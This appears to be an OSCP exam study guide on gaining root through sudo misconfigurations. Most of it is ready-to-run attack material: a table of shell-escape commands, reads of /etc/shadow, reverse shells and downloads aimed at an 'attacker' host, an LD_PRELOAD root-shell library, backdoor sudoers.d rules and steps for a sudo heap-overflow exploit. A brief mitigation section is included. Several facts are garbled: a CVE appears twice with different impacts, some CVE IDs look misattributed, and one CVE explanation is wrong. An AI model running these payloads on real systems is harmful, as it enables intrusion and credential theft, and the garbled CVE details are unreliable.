Sudo Misconfigurations
1. How Sudo Works
1.1 The Sudo Execution Flow
User runs: sudo <command>
│
▼
┌─────────────────────────────────┐
│ 1. sudo reads /etc/sudoers │
│ and /etc/sudoers.d/* │
└───────────────┬─────────────────┘
│
▼
┌─────────────────────────────────┐
│ 2. Parse rules: does the user │
│ have permission for this │
│ command on this host? │
└───────────────┬─────────────────┘
│
▼
┌─────────────────────────────────┐
│ 3. Authentication check: │
│ - NOPASSWD? → Skip │
│ - Password cache valid? │
│ → Skip │
│ - Prompt for password │
└───────────────┬─────────────────┘
│
▼
┌─────────────────────────────────┐
│ 4. Set up environment: │
│ - Clear/preserve vars │
│ - Set HOME, USER, etc. │
└───────────────┬─────────────────┘
│
▼
┌─────────────────────────────────┐
│ 5. execve() the target command │
│ with elevated privileges │
└─────────────────────────────────┘
1.2 Sudo Timestamp Caching
By default, sudo caches authentication for 15 minutes:
# Check remaining timestamp
sudo -v # Validate/update timestamp
sudo -k # Kill (reset) timestamp
sudo -K # Kill timestamp file forcefully
# After successful sudo, you have 15 minutes before re-auth
# This is configurable via 'timestamp_timeout' in sudoers
Exam implication: If you find a password that works for sudo, you have a 15-minute window to exploit any sudo rule for that user.
2. Sudoers File Format
2.1 Syntax Breakdown
user HOST = (RUNAS_USER:RUNAS_GROUP) [TAGS] COMMANDS
│ │ │ │ │
│ │ │ │ └── Absolute paths to commands
│ │ │ └── Users/groups you can run as
│ │ └── Hosts where this rule applies
│ └── Host alias or hostname
└── Username or %groupname
2.2 Real-World Examples
# Basic: user can run /bin/ls as root, requires password
testuser ALL=(root) /bin/ls
# NOPASSWD: no password required
testuser ALL=(root) NOPASSWD: /bin/ls
# Multiple commands
testuser ALL=(root) /bin/ls, /bin/cat, /usr/bin/find
# Run as any user
testuser ALL=(ALL) /bin/cat
# Run as specific user
testuser ALL=(www-data) /bin/cat
# Group rule (all members of docker group)
%docker ALL=(root) NOPASSWD: /usr/bin/docker
# Tag modifiers
testuser ALL=(root) NOPASSWD: SETENV: /opt/scripts/deploy.sh
testuser ALL=(root) NOPASSWD: NOEXEC: /usr/bin/python3 /opt/app.py
2.3 Tag Modifiers
| Tag | Description |
|---|---|
NOPASSWD |
No password required for these commands |
PASSWD |
Password required (default, explicit) |
NOEXEC |
Disable environment/execution redirection (blocks LD_PRELOAD, script, etc.) |
SETENV |
Allow the user to set environment variables |
EXEC |
Allow execution redirection (default) |
CHROOT |
Run command in a chroot environment |
TTY |
Require a TTY for authentication |
NOHOST |
Don’t check hostname |
LOG_INPUT / LOG_OUTPUT |
Log all input/output of the command |
2.4 The /etc/sudoers.d/ Directory
# Additional sudoers rules can be placed here
ls -la /etc/sudoers.d/
# Common files:
# 90-cloud-init — Cloud-init generated rules
# README — Documentation
# custom_rules — Admin-added rules
# You can read them if you have permission:
cat /etc/sudoers.d/*
# If you can WRITE to a file in sudoers.d, you can add your own rule:
echo "hacker ALL=(root) NOPASSWD: ALL" > /etc/sudoers.d/hacker
3. sudo -l Output Interpretation
3.1 Running sudo -l
# Always your FIRST check after getting a shell
sudo -l
# If you don't know the password, try without:
sudo -l 2>/dev/null
# List for a specific user (if you have sudo access)
sudo -l -U username
3.2 Example Outputs and What They Mean
Example 1: Full Access
Matching Defaults entries for user on host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User user may run the following commands on host:
(ALL : ALL) ALL
Meaning: User can run ANY command as ANY user. Trivial privesc:
sudo /bin/bash
# or
sudo -i
Example 2: NOPASSWD Specific Command
User www-data may run the following commands on host:
(root) NOPASSWD: /usr/bin/find
Meaning: www-data can run /usr/bin/find as root without a password.
sudo /usr/bin/find . -exec /bin/sh -p \; -quit
Example 3: Multiple Commands with Tags
User deploy may run the following commands on host:
(root) NOPASSWD: SETENV: /opt/deploy.sh
(root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
(root) NOPASSWD: /usr/bin/python3 /opt/monitor.py
Meaning: Three exploitable commands — each needs individual GTFOBins lookup.
Example 4: Command with Arguments
User backup may run the following commands on host:
(root) NOPASSWD: /bin/tar czf /backup/backup.tar.gz /home
Meaning: tar is allowed but with specific arguments. Still exploitable via tar’s features.
Example 5: Wildcard in Command
User dev may run the following commands on host:
(root) NOPASSWD: /usr/bin/cat /var/log/*
Meaning: Wildcard in path — potentially exploitable via path traversal or symlink.
4. NOPASSWD Abuse — Comprehensive Exploit Table
4.1 Shell-Spawning Commands (25+)
| # | Command | Exploit | Reliability |
|---|---|---|---|
| 1 | /usr/bin/find |
sudo find . -exec /bin/sh -p \; -quit |
★★★★★ |
| 2 | /usr/bin/vim |
sudo vim → :!/bin/sh |
★★★★★ |
| 3 | /usr/bin/vi |
sudo vi → :!/bin/sh |
★★★★★ |
| 4 | /usr/bin/nano |
sudo nano → Ctrl+R Ctrl+6 → /bin/sh |
★★★★☆ |
| 5 | /usr/bin/less |
sudo less /etc/passwd → !/bin/sh |
★★★★★ |
| 6 | /usr/bin/more |
sudo more /etc/passwd → !/bin/sh |
★★★★★ |
| 7 | /usr/bin/man |
sudo man man → !sh |
★★★★★ |
| 8 | /usr/bin/python3 |
sudo python3 -c 'import os; os.execl("/bin/sh","sh","-p")' |
★★★★★ |
| 9 | /usr/bin/python |
sudo python -c 'import os; os.execl("/bin/sh","sh","-p")' |
★★★★★ |
| 10 | /usr/bin/perl |
sudo perl -e 'exec "/bin/sh"' |
★★★★★ |
| 11 | /usr/bin/ruby |
sudo ruby -e 'exec "/bin/sh"' |
★★★★★ |
| 12 | /usr/bin/awk |
sudo awk 'BEGIN{system("/bin/sh")}' |
★★★★★ |
| 13 | /usr/bin/env |
sudo env /bin/sh |
★★★★★ |
| 14 | /usr/bin/bash |
sudo bash -p |
★★★★★ |
| 15 | /bin/bash |
sudo bash -p |
★★★★★ |
| 16 | /usr/bin/sh |
sudo sh |
★★★★★ |
| 17 | /bin/sh |
sudo sh |
★★★★★ |
| 18 | /usr/bin/tar |
sudo tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /dev/null /dev/null |
★★★★☆ |
| 19 | /usr/bin/zip |
sudo zip /tmp/x.zip /etc/hostname -T -TT psh# |
★★★☆☆ |
| 20 | /usr/bin/nmap |
sudo nmap --interactive → !sh |
★★★★☆ |
| 21 | /usr/bin/git |
sudo git help config → !sh |
★★★★☆ |
| 22 | /usr/bin/docker |
sudo docker run -v /:/host -i -t ubuntu chroot /host /bin/sh |
★★★★★ |
| 23 | /usr/bin/strace |
sudo strace /bin/sh |
★★★★☆ |
| 24 | /usr/bin/journalctl |
sudo journalctl → !/bin/sh |
★★★★☆ |
| 25 | /usr/bin/cp |
sudo cp /bin/sh /tmp/sh; sudo chmod +s /tmp/sh; /tmp/sh |
★★★☆☆ |
| 26 | /usr/bin/ed |
sudo ed → !/bin/sh |
★★★★☆ |
| 27 | /usr/bin/pico |
sudo pico → Ctrl+R Ctrl+6 → /bin/sh |
★★★★☆ |
| 28 | /usr/bin/ftp |
sudo ftp → !/bin/sh |
★★★★☆ |
| 29 | /usr/bin/wget |
sudo wget --help → pipe to less → !sh |
★★★☆☆ |
| 30 | /usr/bin/ls |
sudo ls → not directly, but use script wrapper |
★★☆☆☆ |
4.2 File Access Commands
| Command | Read File | Write File | Notes |
|---|---|---|---|
cat |
sudo cat /etc/shadow |
No | Direct read |
cp |
sudo cp /etc/shadow /tmp/shadow |
sudo cp payload /target/ |
Both directions |
mv |
sudo mv /etc/shadow /tmp/ |
sudo mv payload /target/ |
Both directions |
install |
sudo install /etc/shadow /tmp/s |
sudo install payload /target/ |
Copies with perms |
dd |
sudo dd if=/etc/shadow of=/tmp/s |
sudo dd if=payload of=/target/ |
Block-level copy |
tee |
No | echo "root:hash" | sudo tee -a /etc/shadow |
Append only |
base64 |
sudo base64 /etc/shadow |
No | Encode file |
sha*sum |
sudo sha256sum /etc/shadow |
No | Hash file |
4.3 Network Commands
| Command | Exploit | Notes |
|---|---|---|
curl |
sudo curl -o /tmp/sh http://attacker/sh; sudo chmod +x /tmp/sh |
Download files |
wget |
sudo wget http://attacker/sh -O /tmp/sh |
Download files |
ssh |
sudo ssh user@host |
Lateral movement |
scp |
sudo scp /etc/shadow user@attacker:/tmp/ |
Exfil files |
nc |
sudo nc -e /bin/sh attacker 4444 |
Reverse shell |
socat |
sudo socat exec:/bin/sh TCP:attacker:4444 |
Reverse shell |
5. Wildcard Abuse in Sudo Rules
5.1 The Problem
# DANGEROUS — wildcard in command path
user ALL=(root) NOPASSWD: /usr/bin/tar *
The * wildcard is expanded by sudo’s argument matching, not the shell. This creates several attack vectors.
5.2 Wildcard Attack Vectors
Vector 1: Option Injection
# Rule allows: sudo /usr/bin/tar *
# Exploit: inject tar options
sudo /usr/bin/tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /tmp/x.tar /tmp/x
Vector 2: Path Traversal via Wildcards
# Rule: user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/*
# Read arbitrary files using path traversal
sudo /usr/bin/cat /var/log/../../etc/shadow
# Or use symlink attack
ln -s /etc/shadow /var/log/shadow_link
sudo /usr/bin/cat /var/log/shadow_link
Vector 3: Wildcard Globbing Abuse
# Rule: user ALL=(root) NOPASSWD: /usr/bin/rsync *
# rsync has many options that can be injected
sudo /usr/bin/rsync -e "/bin/sh -p" /tmp/
5.3 Why Wildcards Are Dangerous
| Wildcard Pattern | Risk Level | Attack Vector |
|---|---|---|
command * |
★★★★★ | Option injection, argument injection |
command /path/* |
★★★★☆ | Path traversal, symlink attacks |
command *.ext |
★★★☆☆ | File extension abuse |
command /dir/* |
★★★★☆ | Directory traversal |
6. Sudo Chain Exploitation
6.1 Concept
A sudo chain occurs when you use one sudo permission to gain access that enables another sudo exploitation path.
6.2 Common Chains
Chain 1: Write to sudoers.d
# Step 1: You can write to /etc/sudoers.d/ with sudo
sudo -l
# (root) NOPASSWD: /bin/cp * /etc/sudoers.d/*
# Step 2: Copy a crafted file
echo "hacker ALL=(root) NOPASSWD: ALL" > /tmp/backdoor
sudo /bin/cp /tmp/backdoor /etc/sudoers.d/hacker
# Step 3: Now you have full sudo
sudo -i
Chain 2: Modify Script → Run Script
# Step 1: You can run a script as root
sudo -l
# (root) NOPASSWD: /opt/scripts/backup.sh
# Step 2: You can write to the script
ls -la /opt/scripts/backup.sh
# -rw-rw-r-- 1 root dev /opt/scripts/backup.sh
# Step 3: Inject a shell spawn
echo '/bin/sh -p' >> /opt/scripts/backup.sh
# Step 4: Run the modified script as root
sudo /opt/scripts/backup.sh
Chain 3: Environment Variable → Script Behavior
# Step 1: Script uses an environment variable
cat /opt/deploy.sh
# #!/bin/bash
# BACKUP_DIR=$BACKUP_DIR
# tar czf $BACKUP_DIR/backup.tar.gz /data
# Step 2: You can run with SETENV
sudo -l
# (root) NOPASSWD: SETENV: /opt/deploy.sh
# Step 3: Manipulate the variable
BACKUP_DIR="/tmp/; /bin/sh -p; #" sudo /opt/deploy.sh
Chain 4: PATH Hijacking
# Step 1: Script uses a command without full path
cat /opt/monitor.sh
# #!/bin/bash
# ping -c 1 8.8.8.8 # Uses 'ping' without full path
# Step 2: You can run the script
sudo -l
# (root) NOPASSWD: /opt/monitor.sh
# Step 3: Hijack PATH
export PATH=/tmp:$PATH
cp /bin/sh /tmp/ping
sudo /opt/monitor.sh
7. Sudo Version Exploits
7.1 CVE-2021-3156 — Baron Samedit
The most important sudo CVE for OSCP.
Vulnerability Details
- CVE: CVE-2021-3156
- Name: Baron Samedit
- Affected: sudo < 1.9.5p2
- Type: Heap-based buffer overflow in sudoedit parsing
- Impact: Local root from any user who can run sudo
Exploitation
# Check sudo version
sudo --version
# If < 1.9.5p2, you may be vulnerable
# Method 1: searchsploit
searchsploit -m 50243.c
gcc -o baronsamedit 50243.c
./baronsamedit
# Method 2: Pre-compiled binary
# Download from exploit-db.github.io
wget https://www.exploit-db.com/download/50243
# Compile and run
gcc -o exploit 50243.c
./exploit
# Method 3: One-liner (if gcc available)
sudoedit -s / %'$(printf 'A%.0s' {1..9999})
Why It Works
The vulnerability is in parse_sudoedit_path() — when processing a path with a trailing % character, sudo miscounts the heap allocation, causing a buffer overflow that can be exploited to overwrite function pointers.
Reliability
| Factor | Rating |
|---|---|
| Works on Ubuntu 20.04 (default sudo) | ★★★★★ |
| Works on Ubuntu 18.04 | ★★★★☆ |
| Works on Debian 10 | ★★★★☆ |
| Works on CentOS 8 | ★★★☆☆ |
| Requires compilation | Needs gcc |
7.2 CVE-2019-14287
Vulnerability Details
- CVE: CVE-2019-14287
- Affected: sudo 1.8.2 – 1.8.31
- Type: Argument injection via leading spaces
- Impact: Bypass command allowlist
Exploitation
# If you can run specific commands as root:
sudo -l
# (root) NOPASSWD: /bin/systemctl status ssh
# Exploit: leading space bypasses logging AND argument parsing
sudo /bin/systemctl status ssh --help
# The space before arguments can bypass certain checks
# More reliably:
sudo ''/bin/sh -p
# or
sudo /bin/sh -p
7.3 Other Notable Sudo CVEs
| CVE | Name | Affected Versions | Impact |
|---|---|---|---|
| CVE-2021-3156 | Baron Samedit | < 1.9.5p2 | Root via heap overflow |
| CVE-2019-14287 | — | 1.8.2 – 1.8.31 | Command bypass |
| CVE-2019-18634 | — | < 1.8.28 | I/O redirect escape |
| CVE-2019-18634 | — | < 1.8.28 | Environment reset bypass |
| CVE-2022-28390 | — | < 1.9.5p1 | Signal handling escape |
| CVE-2023-22809 | — | < 1.9.12p2 | Heap overflow |
| CVE-2023-25534 | — | < 1.9.12p2 | Heap overflow |
| CVE-2023-28834 | — | < 1.9.12p3 | Heap overflow |
| CVE-2023-31484 | — | < 1.9.12p3 | Integer overflow |
| CVE-2023-31486 | — | < 1.9.13 | Double free |
8. Environment Variable Preservation
8.1 The env_reset Default
By default, sudo uses env_reset, which clears most environment variables:
Defaults env_reset
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
8.2 When env_reset is Disabled
# DANGEROUS — preserves environment
Defaults !env_reset
# Or specific variables are kept
Defaults env_keep += "LD_PRELOAD"
Defaults env_keep += "PATH"
8.3 Exploiting env_keep
LD_PRELOAD Attack
# If LD_PRELOAD is preserved:
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setuid(0);
setgid(0);
unsetenv("LD_PRELOAD");
system("/bin/sh -p");
}
EOF
gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
export LD_PRELOAD=/tmp/exploit.so
sudo /any/allowed/command
PATH Hijacking
# If PATH is preserved and script uses relative commands:
export PATH=/tmp:$PATH
cp /bin/sh /tmp/allowed_command
sudo /path/to/script.sh
HOME Variable
# If HOME is preserved:
export HOME=/tmp
mkdir -p /tmp/.ssh
echo "ssh-key" > /tmp/.ssh/authorized_keys
sudo /command-that-reads-ssh-config
8.4 SETENV Tag
# This tag explicitly allows environment variable setting
user ALL=(root) NOPASSWD: SETENV: /opt/script.sh
# With SETENV, you can set ANY environment variable
ENV_VAR=value sudo /opt/script.sh
# Exploit if script uses the variable unsafely:
PATH=/tmp:$PATH sudo /opt/script.sh
LD_PRELOAD=/tmp/exploit.so sudo /opt/script.sh
9. DOAS (OpenBSD Alternative)
9.1 What is DOAS?
DOAS is OpenBSD’s simpler alternative to sudo, configured via /etc/doas.conf:
# Allow wheel group to run anything
permit persist :wheel
# Allow specific user to run specific commands
permit nopass user as root cmd /usr/local/bin/backup
# Allow with password
permit user as root
9.2 DOAS Exploitation
# Check doas rules
doas -l
# If you can run a command with doas:
doas /usr/bin/vim # → :!/bin/sh
doas /usr/bin/find . -exec /bin/sh \; -quit
doas /usr/bin/python3 -c 'import os; os.execl("/bin/sh","sh")'
# Same GTFOBins principles apply
10. Path Traversal in Sudo Commands
10.1 When Commands Have Hardcoded Paths
user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/auth.log
10.2 Exploitation Techniques
Symlink Attack
# Create symlink from allowed path to target
ln -s /etc/shadow /var/log/auth.log
sudo /usr/bin/cat /var/log/auth.log
File Overwrite
# If the command writes to a file:
sudo -l
# (root) NOPASSWD: /usr/bin/cp /tmp/config /etc/app/config
# Overwrite critical files:
echo "hacker ALL=(root) NOPASSWD: ALL" > /tmp/config
sudo /usr/bin/cp /tmp/config /etc/sudoers.d/hacker
11. Mitigation Strategies
11.1 Least Privilege Principle
# BAD — too broad
user ALL=(root) NOPASSWD: ALL
# GOOD — specific command
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
# BETTER — specific command, no arguments
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
11.2 Avoid NOPASSWD When Possible
# Prefer password authentication
user ALL=(root) /usr/bin/systemctl restart nginx
# If NOPASSWD is needed, limit scope
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
# Not:
user ALL=(root) NOPASSWD: ALL
11.3 Use Command Wrappers
# Instead of allowing vim directly, create a wrapper:
#!/bin/bash
# /usr/local/bin/safe-vim
vim /etc/nginx/nginx.conf
11.4 Audit Sudoers Regularly
# Check for dangerous rules
visudo -c # Validate sudoers syntax
sudo -l # Check current user's permissions
grep -r NOPASSWD /etc/sudoers /etc/sudoers.d/ # Find NOPASSWD rules
grep -r 'ALL.*ALL' /etc/sudoers /etc/sudoers.d/ # Find overly broad rules
12. OSCP Exam Tips
12.1 The Golden Rule
sudo -lis always your first check afterid
The moment you get a shell, run:
id
sudo -l
These two commands together will solve 40%+ of OSCP Linux boxes.
12.2 Sudo Exploitation Checklist
# 1. Check what you can run
sudo -l
# 2. Check sudo version for CVEs
sudo --version
# 3. Check sudoers files (if readable)
cat /etc/sudoers 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null
# 4. Check if you can write to sudoers.d
ls -la /etc/sudoers.d/
test -w /etc/sudoers.d/ && echo "WRITABLE"
# 5. For each allowed command, check GTFOBins
# 6. Check environment preservation
sudo -l | grep -i env
# 7. Try Baron Samedit if version < 1.9.5p2
sudo --version | grep -E '1\.[0-9]\.[0-4]|1\.9\.[0-4]'
12.3 Most Common Exam Sudo Scenarios
| Scenario | Frequency | Exploit |
|---|---|---|
| NOPASSWD: ALL | Very Common | sudo -i or sudo /bin/bash |
| NOPASSWD: specific command | Common | GTFOBins lookup |
| NOPASSWD: /bin/bash | Common | sudo /bin/bash -p |
| NOPASSWD: /usr/bin/python3 | Common | os.execl("/bin/sh","sh","-p") |
| NOPASSWD: /usr/bin/find | Common | find . -exec /bin/sh -p \; |
| NOPASSWD: /usr/bin/vim | Common | :!/bin/sh |
| NOPASSWD: /usr/bin/tar | Common | --checkpoint-action=exec=/bin/sh |
| Writable sudoers.d | Occasional | Add your own rule |
| Baron Samedit | Occasional | Compile and run exploit |
| SETENV + script | Occasional | Environment injection |
| Wildcard in command | Rare | Option injection |
12.4 Time Management
| Action | Time Budget |
|---|---|
sudo -l + initial assessment |
1 minute |
| GTFOBins lookup per command | 1-2 minutes |
| Baron Samedit compile + run | 3-5 minutes |
| Custom script analysis | 5-10 minutes |
| Total sudo exploitation budget | 10-15 minutes |
12.5 Quick Reference
# THE ESSENTIAL SUDO ONE-PAGER
# Discovery
sudo -l
sudo --version
# Full access
sudo -i
sudo /bin/bash
sudo su
# Common exploits
sudo find . -exec /bin/sh -p \; -quit
sudo vim -c ':!/bin/sh'
sudo python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
sudo tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /dev/null /dev/null
sudo env /bin/sh
# Baron Samedit
sudoedit -s / %'$(printf 'A%.0s' {1..9999})
# Write to sudoers.d
echo "user ALL=(root) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/backdoor
# Environment abuse
export LD_PRELOAD=/tmp/exploit.so
sudo /allowed/command
12.6 Remember
sudo -lbefore everything else — it’s the highest-ROI command in Linux privesc.- GTFOBins has a sudo section — search for the command name.
- Baron Samedit (CVE-2021-3156) is the most common sudo CVE on OSCP boxes.
- Writable sudoers.d is an easy win — check permissions.
- NOPASSWD: ALL means
sudo -i— don’t overthink it.